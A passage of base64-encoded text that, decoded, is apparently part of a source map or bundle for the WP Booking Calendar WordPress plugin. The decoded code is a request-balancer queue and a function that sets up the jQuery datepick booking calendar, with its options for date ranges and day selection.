dFx0XHRcdCB9XHJcblx0XHRcdCB9XHJcblx0XHRcdCByZXR1cm4gcmVtb3ZlZF9lbDtcclxuXHRcdH1cclxuXHJcblx0XHQvKipcclxuXHRcdCogSXMgYWxyZWFkeSBSVU5cclxuXHRcdCpcclxuXHRcdCogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0XHQqIEBwYXJhbSBmdW5jdGlvbl9uYW1lXHJcblx0XHQqIEByZXR1cm5zIHtib29sZWFufVxyXG5cdFx0Ki9cclxuXHRcdG9iai5iYWxhbmNlcl9faXNfYWxyZWFkeV9ydW4gPSBmdW5jdGlvbiAoIHJlc291cmNlX2lkLCBmdW5jdGlvbl9uYW1lICl7XHJcblxyXG5cdFx0XHRpZiAoIHBfYmFsYW5jZXJbICdpbl9wcm9jZXNzJyBdLmxlbmd0aCApe1x0XHRcdFx0XHQvL0ZpeEluOiA5LjguMTAuMVxyXG5cdFx0XHRcdGZvciAoIHZhciBpIGluIHBfYmFsYW5jZXJbICdpbl9wcm9jZXNzJyBdICl7XHJcblx0XHRcdFx0XHRpZiAoXHJcblx0XHRcdFx0XHRcdChyZXNvdXJjZV9pZCA9PT0gcF9iYWxhbmNlclsgJ2luX3Byb2Nlc3MnIF1bIGkgXVsgJ3Jlc291cmNlX2lkJyBdKVxyXG5cdFx0XHRcdFx0XHQmJiAoZnVuY3Rpb25fbmFtZSA9PT0gcF9iYWxhbmNlclsgJ2luX3Byb2Nlc3MnIF1bIGkgXVsgJ2Z1bmN0aW9uX25hbWUnIF0pXHJcblx0XHRcdFx0XHQpe1xyXG5cdFx0XHRcdFx0XHRyZXR1cm4gdHJ1ZTtcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHR9XHJcblx0XHRcdH1cclxuXHRcdFx0cmV0dXJuIGZhbHNlO1xyXG5cdFx0fVxyXG5cclxuXHJcblxyXG5cdG9iai5iYWxhbmNlcl9fcnVuX25leHQgPSBmdW5jdGlvbiAoKXtcclxuXHJcblx0XHQvLyBHZXQgMXN0IGZyb20gIFdhaXQgbGlzdFxyXG5cdFx0dmFyIHJlbW92ZWRfZWwgPSBmYWxzZTtcclxuXHRcdGlmICggcF9iYWxhbmNlclsgJ3dhaXQnIF0ubGVuZ3RoICl7XHRcdFx0XHRcdC8vRml4SW46IDkuOC4xMC4xXHJcblx0XHRcdGZvciAoIHZhciBpIGluIHBfYmFsYW5jZXJbICd3YWl0JyBdICl7XHJcblx0XHRcdFx0cmVtb3ZlZF9lbCA9IG9iai5iYWxhbmNlcl9fcmVtb3ZlX2Zyb21fX3dhaXRfbGlzdCggcF9iYWxhbmNlclsgJ3dhaXQnIF1bIGkgXVsgJ3Jlc291cmNlX2lkJyBdLCBwX2JhbGFuY2VyWyAnd2FpdCcgXVsgaSBdWyAnZnVuY3Rpb25fbmFtZScgXSApO1xyXG5cdFx0XHRcdGJyZWFrO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblxyXG5cdFx0aWYgKCBmYWxzZSAhPT0gcmVtb3ZlZF9lbCApe1xyXG5cclxuXHRcdFx0Ly8gUnVuXHJcblx0XHRcdG9iai5iYWxhbmNlcl9fcnVuKCByZW1vdmVkX2VsICk7XHJcblx0XHR9XHJcblx0fVxyXG5cclxuXHQgLyoqXHJcblx0ICAqIFJ1blxyXG5cdCAgKiBAcGFyYW0gYmFsYW5jZV9vYmpcclxuXHQgICovXHJcblx0b2JqLmJhbGFuY2VyX19ydW4gPSBmdW5jdGlvbiAoIGJhbGFuY2Vfb2JqICl7XHJcblxyXG5cdFx0c3dpdGNoICggYmFsYW5jZV9vYmpbICdmdW5jdGlvbl9uYW1lJyBdICl7XHJcblxyXG5cdFx0XHRjYXNlICd3cGJjX2NhbGVuZGFyX19sb2FkX2RhdGFfX2FqeCc6XHJcblxyXG5cdFx0XHRcdC8vIEFkZCB0byBydW4gbGlzdFxyXG5cdFx0XHRcdG9iai5iYWxhbmNlcl9fYWRkX3RvX19ydW4oIGJhbGFuY2Vfb2JqICk7XHJcblxyXG5cdFx0XHRcdHdwYmNfY2FsZW5kYXJfX2xvYWRfZGF0YV9fYWp4KCBiYWxhbmNlX29ialsgJ3BhcmFtcycgXSApXHJcblx0XHRcdFx0YnJlYWs7XHJcblxyXG5cdFx0XHRkZWZhdWx0OlxyXG5cdFx0fVxyXG5cdH1cclxuXHJcblx0cmV0dXJuIG9iajtcclxuXHJcbn0oIF93cGJjIHx8IHt9LCBqUXVlcnkgKSk7XHJcblxyXG5cclxuIFx0LyoqXHJcbiBcdCAqIC0tIEhlbHAgZnVuY3Rpb25zIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQgKi9cclxuXHJcblx0ZnVuY3Rpb24gd3BiY19iYWxhbmNlcl9faXNfd2FpdCggcGFyYW1zLCBmdW5jdGlvbl9uYW1lICl7XHJcbi8vY29uc29sZS5sb2coJzo6d3BiY19iYWxhbmNlcl9faXNfd2FpdCcscGFyYW1zICwgZnVuY3Rpb25fbmFtZSApO1xyXG5cdFx0aWYgKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mIChwYXJhbXNbICdyZXNvdXJjZV9pZCcgXSkgKXtcclxuXHJcblx0XHRcdHZhciBiYWxhbmNlcl9zdGF0dXMgPSBfd3BiYy5iYWxhbmNlcl9faW5pdCggcGFyYW1zWyAncmVzb3VyY2VfaWQnIF0sIGZ1bmN0aW9uX25hbWUsIHBhcmFtcyApO1xyXG5cclxuXHRcdFx0cmV0dXJuICggJ3dhaXQnID09PSBiYWxhbmNlcl9zdGF0dXMgKTtcclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gZmFsc2U7XHJcblx0fVxyXG5cclxuXHJcblx0ZnVuY3Rpb24gd3BiY19iYWxhbmNlcl9fY29tcGxldGVkKCByZXNvdXJjZV9pZCAsIGZ1bmN0aW9uX25hbWUgKXtcclxuLy9jb25zb2xlLmxvZygnOjp3cGJjX2JhbGFuY2VyX19jb21wbGV0ZWQnLHJlc291cmNlX2lkICwgZnVuY3Rpb25fbmFtZSApO1xyXG5cdFx0X3dwYmMuYmFsYW5jZXJfX3JlbW92ZV9mcm9tX19ydW5fbGlzdCggcmVzb3VyY2VfaWQsIGZ1bmN0aW9uX25hbWUgKTtcclxuXHRcdF93cGJjLmJhbGFuY2VyX19ydW5fbmV4dCgpO1xyXG5cdH0iLCIvKipcclxuICogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XHJcbiAqXHRpbmNsdWRlcy9fX2pzL2NhbC93cGJjX2NhbC5qc1xyXG4gKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cclxuICovXHJcblxyXG4vKipcclxuICogT3JkZXIgb3IgY2hpbGQgYm9va2luZyByZXNvdXJjZXMgc2F2ZWQgaGVyZTogIFx0X3dwYmMuYm9va2luZ19fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ3Jlc291cmNlc19pZF9hcnJfX2luX2RhdGVzJyApXHRcdFsyLDEwLDEyLDExXVxyXG4gKi9cclxuXHJcbi8qKlxyXG4gKiBIb3cgdG8gY2hlY2sgIGJvb2tlZCB0aW1lcyBvbiAgc3BlY2lmaWMgZGF0ZTogP1xyXG4gKlxyXG5cdFx0XHRfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKDIsJzIwMjMtMDgtMjEnKTtcclxuXHJcblx0XHRcdGNvbnNvbGUubG9nKFxyXG5cdFx0XHRcdFx0XHRfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKDIsJzIwMjMtMDgtMjEnKVsyXS5ib29rZWRfdGltZV9zbG90cy5tZXJnZWRfc2Vjb25kcyxcclxuXHRcdFx0XHRcdFx0X3dwYmMuYm9va2luZ3NfaW5fY2FsZW5kYXJfX2dldF9mb3JfZGF0ZSgyLCcyMDIzLTA4LTIxJylbMTBdLmJvb2tlZF90aW1lX3Nsb3RzLm1lcmdlZF9zZWNvbmRzLFxyXG5cdFx0XHRcdFx0XHRfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKDIsJzIwMjMtMDgtMjEnKVsxMV0uYm9va2VkX3RpbWVfc2xvdHMubWVyZ2VkX3NlY29uZHMsXHJcblx0XHRcdFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoMiwnMjAyMy0wOC0yMScpWzEyXS5ib29rZWRfdGltZV9zbG90cy5tZXJnZWRfc2Vjb25kc1xyXG5cdFx0XHRcdFx0KTtcclxuICogIE9SXHJcblx0XHRcdGNvbnNvbGUubG9nKFxyXG5cdFx0XHRcdFx0XHRfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKDIsJzIwMjMtMDgtMjEnKVsyXS5ib29rZWRfdGltZV9zbG90cy5tZXJnZWRfcmVhZGFibGUsXHJcblx0XHRcdFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoMiwnMjAyMy0wOC0yMScpWzEwXS5ib29rZWRfdGltZV9zbG90cy5tZXJnZWRfcmVhZGFibGUsXHJcblx0XHRcdFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoMiwnMjAyMy0wOC0yMScpWzExXS5ib29rZWRfdGltZV9zbG90cy5tZXJnZWRfcmVhZGFibGUsXHJcblx0XHRcdFx0XHRcdF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoMiwnMjAyMy0wOC0yMScpWzEyXS5ib29rZWRfdGltZV9zbG90cy5tZXJnZWRfcmVhZGFibGVcclxuXHRcdFx0XHRcdCk7XHJcbiAqXHJcbiAqL1xyXG5cclxuLyoqXHJcbiAqIERheXMgc2VsZWN0aW9uOlxyXG4gKiBcdFx0XHRcdFx0d3BiY19jYWxlbmRhcl9fdW5zZWxlY3RfYWxsX2RhdGVzKCByZXNvdXJjZV9pZCApO1xyXG4gKlxyXG4gKlx0XHRcdFx0XHR2YXIgcmVzb3VyY2VfaWQgPSAxO1xyXG4gKiBcdEV4YW1wbGUgMTpcdFx0dmFyIG51bV9zZWxlY3RlZF9kYXlzID0gd3BiY19hdXRvX3NlbGVjdF9kYXRlc19pbl9jYWxlbmRhciggcmVzb3VyY2VfaWQsICcyMDI0LTA1LTE1JywgJzIwMjQtMDUtMjUnICk7XHJcbiAqIFx0RXhhbXBsZSAyOlx0XHR2YXIgbnVtX3NlbGVjdGVkX2RheXMgPSB3cGJjX2F1dG9fc2VsZWN0X2RhdGVzX2luX2NhbGVuZGFyKCByZXNvdXJjZV9pZCwgWycyMDI0LTA1LTA5JywnMjAyNC0wNS0xOScsJzIwMjQtMDUtMjUnXSApO1xyXG4gKlxyXG4gKi9cclxuXHJcblxyXG4vKipcclxuICogQyBBIEwgRSBOIEQgQSBSICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuICovXHJcblxyXG5cclxuLyoqXHJcbiAqICBTaG93IFdQQkMgQ2FsZW5kYXJcclxuICpcclxuICogQHBhcmFtIHJlc291cmNlX2lkXHRcdFx0LSByZXNvdXJjZSBJRFxyXG4gKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuICovXHJcbmZ1bmN0aW9uIHdwYmNfY2FsZW5kYXJfc2hvdyggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0Ly8gSWYgbm8gY2FsZW5kYXIgSFRNTCB0YWcsICB0aGVuICBleGl0XHJcblx0aWYgKCAwID09PSBqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLmxlbmd0aCApeyByZXR1cm4gZmFsc2U7IH1cclxuXHJcblx0Ly8gSWYgdGhlIGNhbGVuZGFyIHdpdGggdGhlIHNhbWUgQm9va2luZyByZXNvdXJjZSBpcyBhY3RpdmF0ZWQgYWxyZWFkeSwgdGhlbiBleGl0LlxyXG5cdGlmICggdHJ1ZSA9PT0galF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS5oYXNDbGFzcyggJ2hhc0RhdGVwaWNrJyApICl7IHJldHVybiBmYWxzZTsgfVxyXG5cclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdC8vIERheXMgc2VsZWN0aW9uXHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHR2YXIgbG9jYWxfX2lzX3JhbmdlX3NlbGVjdCA9IGZhbHNlO1xyXG5cdHZhciBsb2NhbF9fbXVsdGlfZGF5c19zZWxlY3RfbnVtICAgPSAzNjU7XHRcdFx0XHRcdC8vIG11bHRpcGxlIHwgZml4ZWRcclxuXHRpZiAoICdkeW5hbWljJyA9PT0gX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkYXlzX3NlbGVjdF9tb2RlJyApICl7XHJcblx0XHRsb2NhbF9faXNfcmFuZ2Vfc2VsZWN0ID0gdHJ1ZTtcclxuXHRcdGxvY2FsX19tdWx0aV9kYXlzX3NlbGVjdF9udW0gPSAwO1xyXG5cdH1cclxuXHRpZiAoICdzaW5nbGUnICA9PT0gX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdkYXlzX3NlbGVjdF9tb2RlJyApICl7XHJcblx0XHRsb2NhbF9fbXVsdGlfZGF5c19zZWxlY3RfbnVtID0gMDtcclxuXHR9XHJcblxyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0Ly8gTWluIC0gTWF4IGRheXMgdG8gc2Nyb2xsL3Nob3dcclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdHZhciBsb2NhbF9fbWluX2RhdGUgPSAwO1xyXG4gXHRsb2NhbF9fbWluX2RhdGUgPSBuZXcgRGF0ZSggX3dwYmMuZ2V0X290aGVyX3BhcmFtKCAndG9kYXlfYXJyJyApWyAwIF0sIChwYXJzZUludCggX3dwYmMuZ2V0X290aGVyX3BhcmFtKCAndG9kYXlfYXJyJyApWyAxIF0gKSAtIDEpLCBfd3BiYy5nZXRfb3RoZXJfcGFyYW0oICd0b2RheV9hcnInIClbIDIgXSwgMCwgMCwgMCApO1x0XHRcdC8vRml4SW46IDkuOS4wLjE3XHJcbi8vY29uc29sZS5sb2coIGxvY2FsX19taW5fZGF0ZSApO1xyXG5cdHZhciBsb2NhbF9fbWF4X2RhdGUgPSBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2Jvb2tpbmdfbWF4X21vbnRoZXNfaW5fY2FsZW5kYXInICk7XHJcblx0Ly9sb2NhbF9fbWF4X2RhdGUgPSBuZXcgRGF0ZSgyMDI0LCA1LCAyOCk7ICBJdCBpcyBoZXJlIGlzc3VlIG9mIG5vdCBzZWxlY3RhYmxlIGRhdGVzLCBidXQgc29tZSBkYXRlcyBzaG93aW5nIGluIGNhbGVuZGFyIGFzIGF2YWlsYWJsZSwgYnV0IHdlIGNhbiBub3Qgc2VsZWN0IGl0LlxyXG5cclxuXHQvLy8vIERlZmluZSBsYXN0IGRheSBpbiBjYWxlbmRhciAoYXMgYSBsYXN0IGRheSBvZiBtb250aCAoYW5kIG5vdCBkYXRlLCB3aGljaCBpcyByZWxhdGVkIHRvIGFjdHVhbCAnVG9kYXknIGRhdGUpLlxyXG5cdC8vLy8gRS5nLiBpZiB0b2RheSBpcyAyMDIzLTA5LTI1LCBhbmQgd2Ugc2V0ICdOdW1iZXIgb2YgbW9udGhzIHRvIHNjcm9sbCcgYXMgNSBtb250aHMsIHRoZW4gbGFzdCBkYXkgd2lsbCBiZSAyMDI0LTAyLTI5IGFuZCBub3QgdGhlIDIwMjQtMDItMjUuXHJcblx0Ly8gdmFyIGNhbF9sYXN0X2RheV9pbl9tb250aCA9IGpRdWVyeS5kYXRlcGljay5fZGV0ZXJtaW5lRGF0ZSggbnVsbCwgbG9jYWxfX21heF9kYXRlLCBuZXcgRGF0ZSgpICk7XHJcblx0Ly8gY2FsX2xhc3RfZGF5X2luX21vbnRoID0gbmV3IERhdGUoIGNhbF9sYXN0X2RheV9pbl9tb250aC5nZXRGdWxsWWVhcigpLCBjYWxfbGFzdF9kYXlfaW5fbW9udGguZ2V0TW9udGgoKSArIDEsIDAgKTtcclxuXHQvLyBsb2NhbF9fbWF4X2RhdGUgPSBjYWxfbGFzdF9kYXlfaW5fbW9udGg7XHRcdFx0Ly9GaXhJbjogMTAuMC4wLjI2XHJcblxyXG5cdGlmICggICAoIGxvY2F0aW9uLmhyZWYuaW5kZXhPZigncGFnZT13cGJjLW5ldycpICE9IC0xIClcclxuXHRcdCYmICggbG9jYXRpb24uaHJlZi5pbmRleE9mKCdib29raW5nX2hhc2gnKSAhPSAtMSApICAgICAgICAgICAgICAgICAgLy8gQ29tbWVudCB0aGlzIGxpbmUgZm9yIGFiaWxpdHkgdG8gYWRkICBib29raW5nIGluIHBhc3QgZGF5cyBhdCAgQm9va2luZyA+IEFkZCBib29raW5nIHBhZ2UuXHJcblx0XHQpe1xyXG5cdFx0bG9jYWxfX21pbl9kYXRlID0gbnVsbDtcclxuXHRcdGxvY2FsX19tYXhfZGF0ZSA9IG51bGw7XHJcblx0fVxyXG5cclxuXHR2YXIgbG9jYWxfX3N0YXJ0X3dlZWtkYXkgICAgPSBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2Jvb2tpbmdfc3RhcnRfZGF5X3dlZWVrJyApO1xyXG5cdHZhciBsb2NhbF9fbnVtYmVyX29mX21vbnRocyA9IHBhcnNlSW50KCBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2NhbGVuZGFyX251bWJlcl9vZl9tb250aHMnICkgKTtcclxuXHJcblx0alF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS50ZXh0KCAnJyApO1x0XHRcdFx0XHQvLyBSZW1vdmUgYWxsIEhUTUwgaW4gY2FsZW5kYXIgdGFnXHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQvLyBTaG93IGNhbGVuZGFyXHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRqUXVlcnkoJyNjYWxlbmRhcl9ib29raW5nJysgcmVzb3VyY2VfaWQpLmRhdGVwaWNrKFxyXG5cdFx0XHR7XHJcblx0XHRcdFx0YmVmb3JlU2hvd0RheTogZnVuY3Rpb24gKCBqc19kYXRlICl7XHJcblx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiB3cGJjX19jYWxlbmRhcl9fYXBwbHlfY3NzX3RvX2RheXMoIGpzX2RhdGUsIHsncmVzb3VyY2VfaWQnOiByZXNvdXJjZV9pZH0sIHRoaXMgKTtcclxuXHRcdFx0XHRcdFx0XHQgIH0sXHJcblx0XHRcdFx0b25TZWxlY3Q6IGZ1bmN0aW9uICggc3RyaW5nX2RhdGVzLCBqc19kYXRlc19hcnIgKXsgIC8qKlxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICpcdHN0cmluZ19kYXRlcyAgID0gICAnMjMuMDguMjAyMyAtIDI2LjA4LjIwMjMnICAgIHwgICAgJzIzLjA4LjIwMjMgLSAyMy4wOC4yMDIzJyAgICB8ICAgICcxOS4wOS4yMDIzLCAyNC4wOC4yMDIzLCAzMC4wOS4yMDIzJ1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICogIGpzX2RhdGVzX2FyciAgID0gICByYW5nZTogWyBEYXRlIChBdWcgMjMgMjAyMyksIERhdGUgKEF1ZyAyNSAyMDIzKV0gICAgIHwgICAgIG11bHRpcGxlOiBbIERhdGUoT2N0IDI0IDIwMjMpLCBEYXRlKE9jdCAyMCAyMDIzKSwgRGF0ZShPY3QgMTYgMjAyMykgXVxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICovXHJcblx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiB3cGJjX19jYWxlbmRhcl9fb25fc2VsZWN0X2RheXMoIHN0cmluZ19kYXRlcywgeydyZXNvdXJjZV9pZCc6IHJlc291cmNlX2lkfSwgdGhpcyApO1xyXG5cdFx0XHRcdFx0XHRcdCAgfSxcclxuXHRcdFx0XHRvbkhvdmVyOiBmdW5jdGlvbiAoIHN0cmluZ19kYXRlLCBqc19kYXRlICl7XHJcblx0XHRcdFx0XHRcdFx0XHRcdHJldHVybiB3cGJjX19jYWxlbmRhcl9fb25faG92ZXJfZGF5cyggc3RyaW5nX2RhdGUsIGpzX2RhdGUsIHsncmVzb3VyY2VfaWQnOiByZXNvdXJjZV9pZH0sIHRoaXMgKTtcclxuXHRcdFx0XHRcdFx0XHQgIH0sXHJcblx0XHRcdFx0b25DaGFuZ2VNb250aFllYXI6IGZ1bmN0aW9uICggeWVhciwgcmVhbF9tb250aCwganNfZGF0ZV9fMXN0X2RheV9pbl9tb250aCApeyB9LFxyXG5cdFx0XHRcdHNob3dPbiAgICAgICAgOiAnYm90aCcsXHJcblx0XHRcdFx0bnVtYmVyT2ZNb250aHM6IGxvY2FsX19udW1iZXJfb2ZfbW9udGhzLFxyXG5cdFx0XHRcdHN0ZXBNb250aHMgICAgOiAxLFxyXG5cdFx0XHRcdHByZXZUZXh0ICAgICAgOiAnJmxhcXVvOycsXHJcblx0XHRcdFx0bmV4dFRleHQgICAgICA6ICcmcmFxdW87JyxcclxuXHRcdFx0XHRkYXRlRm9ybWF0ICAgIDogJ2RkLm1tLnl5JyxcclxuXHRcdFx0XHRjaGFuZ2VNb250aCAgIDogZmFsc2UsXHJcblx0XHRcdFx0Y2hhbmdlWWVhciAgICA6IGZhbHNlLFxyXG5cdFx0XHRcdG1pbkRhdGUgICAgICAgOiBsb2NhbF9fbWluX2RhdGUsXHJcblx0XHRcdFx0bWF4RGF0ZSAgICAgICA6IGxvY2FsX19tYXhfZGF0ZSwgXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vICcxWScsXHJcblx0XHRcdFx0Ly8gbWluRGF0ZTogbmV3IERhdGUoMjAyMCwgMiwgMSksIG1heERhdGU6IG5ldyBEYXRlKDIwMjAsIDksIDMxKSwgICAgICAgICAgICAgXHQvLyBBYmlsaXR5IHRvIHNldCBhbnkgIHN0YXJ0IGFuZCBlbmQgZGF0ZSBpbiBjYWxlbmRhclxyXG5cdFx0XHRcdHNob3dTdGF0dXMgICAgICA6IGZhbHNlLFxyXG5cdFx0XHRcdG11bHRpU2VwYXJhdG9yICA6ICcsICcsXHJcblx0XHRcdFx0Y2xvc2VBdFRvcCAgICAgIDogZmFsc2UsXHJcblx0XHRcdFx0Zmlyc3REYXkgICAgICAgIDogbG9jYWxfX3N0YXJ0X3dlZWtkYXksXHJcblx0XHRcdFx0Z290b0N1cnJlbnQgICAgIDogZmFsc2UsXHJcblx0XHRcdFx0aGlkZUlmTm9QcmV2TmV4dDogdHJ1ZSxcclxuXHRcdFx0XHRtdWx0aVNlbGVjdCAgICAgOiBsb2NhbF9fbXVsdGlfZGF5c19zZWxlY3RfbnVtLFxyXG5cdFx0XHRcdHJhbmdlU2VsZWN0ICAgICA6IGxvY2FsX19pc19yYW5nZV9zZWxlY3QsXHJcblx0XHRcdFx0Ly8gc2hvd1dlZWtzOiB0cnVlLFxyXG5cdFx0XHRcdHVzZVRoZW1lUm9sbGVyOiBmYWxzZVxyXG5cdFx0XHR9XHJcblx0KTtcclxuXHJcblxyXG5cdFxyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0Ly8gQ2xlYXIgdG9kYXkgZGF0ZSBoaWdobGlnaHRpbmdcclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdHNldFRpbWVvdXQoIGZ1bmN0aW9uICgpeyAgd3BiY19jYWxlbmRhcnNfX2NsZWFyX2RheXNfaGlnaGxpZ2h0aW5nKCByZXNvdXJjZV9pZCApOyAgfSwgNTAwICk7ICAgICAgICAgICAgICAgICAgICBcdC8vRml4SW46IDcuMS4yLjhcclxuXHRcclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdC8vIFNjcm9sbCBjYWxlbmRhciB0byAgc3BlY2lmaWMgbW9udGhcclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdHZhciBzdGFydF9ia19tb250aCA9IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnY2FsZW5kYXJfc2Nyb2xsX3RvJyApO1xyXG5cdGlmICggZmFsc2UgIT09IHN0YXJ0X2JrX21vbnRoICl7XHJcblx0XHR3cGJjX2NhbGVuZGFyX19zY3JvbGxfdG8oIHJlc291cmNlX2lkLCBzdGFydF9ia19tb250aFsgMCBdLCBzdGFydF9ia19tb250aFsgMSBdICk7XHJcblx0fVxyXG59XHJcblxyXG5cclxuXHQvKipcclxuXHQgKiBBcHBseSBDU1MgdG8gY2FsZW5kYXIgZGF0ZSBjZWxsc1xyXG5cdCAqXHJcblx0ICogQHBhcmFtIGRhdGVcdFx0XHRcdFx0XHRcdFx0XHRcdC0gIEphdmFTY3JpcHQgRGF0ZSBPYmo6ICBcdFx0TW9uIERlYyAxMSAyMDIzIDAwOjAwOjAwIEdNVCswMjAwIChFYXN0ZXJuIEV1cm9wZWFuIFN0YW5kYXJkIFRpbWUpXHJcblx0ICogQHBhcmFtIGNhbGVuZGFyX3BhcmFtc19hcnJcdFx0XHRcdFx0XHQtICBDYWxlbmRhciBTZXR0aW5ncyBPYmplY3Q6ICBcdHtcclxuXHQgKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0ICBcdFx0XHRcdFx0XHRcInJlc291cmNlX2lkXCI6IDRcclxuXHQgKlx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdH1cclxuXHQgKiBAcGFyYW0gZGF0ZXBpY